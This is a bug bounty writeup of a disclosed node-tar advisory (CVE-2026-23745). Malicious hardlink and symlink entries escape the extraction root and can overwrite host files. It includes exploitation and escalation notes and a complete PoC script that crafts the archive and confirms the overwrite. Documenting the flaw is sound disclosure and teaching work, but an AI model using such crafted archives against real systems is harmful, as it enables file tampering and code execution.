# node-tar is Vulnerable to Arbitrary File Overwrite and Symlink Poisoning via Insufficient Path Sanitization

node-tar <=7.5.2 skips linkpath sanitization for hardlink/symlink entries, letting malicious archives hardlink to and overwrite arbitrary host files or plant absolute symlinks.

- Payout: Research
- Severity: high
- Program: node-tar
- Found by: Jvr2022
- Disclosed: 2026-01-16
- CVE: CVE-2026-23745
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-8qq5-rm4j-mr97
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-8qq5-rm4j-mr97
- Tags: area:oss domain:oss impact:integrity impact:rce kind:research platform:ghsa sev:high tech:nodejs technique:source-review vuln:path-traversal

**Target:** npm tar library extraction (src/unpack.ts HARDLINK/SYMLINK handlers)
**Root cause:** path.resolve(this.cwd, entry.linkpath) returns the absolute linkpath unchanged when linkpath is absolute, and the resolved target is never checked against the extraction root; symlink linkpath is passed straight to fs.symlink without validation.
**Steps:**
1. Craft a tar Header with type 'Link', path 'exploit_hard', linkpath set to an absolute local file (e.g. /path/secret.txt), and encode it.
2. Craft a second Header with type 'SymbolicLink', path 'exploit_sym', linkpath '/etc/passwd', and encode it.
3. Concatenate both header blocks plus 1024 zero bytes and write to exploit.tar.
4. Extract with `tar.x({cwd: out, file: tarFile, preservePaths: false})`.
5. Write to `out/exploit_hard`; the hardlink resolves to the absolute secret file and overwrites it.
6. Read `out/exploit_sym` with readlinkSync; it returns '/etc/passwd', confirming symlink poisoning.
**How found:** Code review of src/unpack.ts [HARDLINK]/[SYMLINK] handlers: noticed path.resolve ignores cwd when linkpath is absolute, and that symlink linkpath reaches fs.symlink unvalidated despite preservePaths=false.
**Exploitation:** Attacker ships a malicious tarball to a victim that extracts it with default node-tar settings. The hardlink entry points at an absolute host path the extraction process can write; writing through the extracted hardlink name overwrites that file. The symlink entry plants a link to an absolute path (e.g. /etc/passwd) inside the extraction root, which later writes or reads follow. In CI/CD pipelines overwriting configs/scripts/binaries yields code execution; npm itself is unaffected since it strips Link/SymbolicLink entries.
**Escalation:** Overwriting config files, scripts or binaries in CI/CD or automated pipelines escalates file overwrite to RCE.
**Insight:** When auditing archive extractors, check every path-joining call for absolute-path short-circuit (path.resolve/path.join semantics) and verify each entry type (hardlink, symlink, device) is sanitized, not just regular file paths.

## Proof of concept (copied exactly from the original report)

**PoC script crafting malicious hardlink and symlink tar**

```
const fs = require('fs')
const path = require('path')
const tar = require('tar')

const out = path.resolve('out_repro')
const secret = path.resolve('secret.txt')
const tarFile = path.resolve('exploit.tar')
const targetSym = '/etc/passwd'

// Cleanup & Setup
try { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {}
fs.mkdirSync(out)
fs.writeFileSync(secret, 'ORIGINAL_DATA')

// 1. Craft malicious Link header (Hardlink to absolute local file)
const h1 = new tar.Header({
  path: 'exploit_hard',
  type: 'Link',
  size: 0,
  linkpath: secret 
})
h1.encode()

// 2. Craft malicious Symlink header (Symlink to /etc/passwd)
const h2 = new tar.Header({
  path: 'exploit_sym',
  type: 'SymbolicLink',
  size: 0,
  linkpath: targetSym 
})
h2.encode()

// Write binary tar
fs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))

console.log('[*] Extracting malicious tarball...')

// 3. Extract with default secure settings
tar.x({
  cwd: out,
  file: tarFile,
  preservePaths: false
}).then(() => {
  console.log('[*] Verifying payload...')

  // Test Hardlink Overwrite
  try {
    fs.writeFileSync(path.join(out, 'exploit_hard'), 'OVERWRITTEN')
    
    if (fs.readFileSync(secret, 'utf8') === 'OVERWRITTEN') {
      console.log('[+] VULN CONFIRMED: Hardlink overwrite successful')
    } else {
      console.log('[-] Hardlink failed')
    }
  } catch (e) {}

  // Test Symlink Poisoning
  try {
    if (fs.readlinkSync(path.join(out, 'exploit_sym')) === targetSym) {
      console.log('[+] VULN CONFIRMED: Symlink points to absolute path')
    } else {
      console.log('[-] Symlink failed')
    }
  } catch (e) {}
})
```

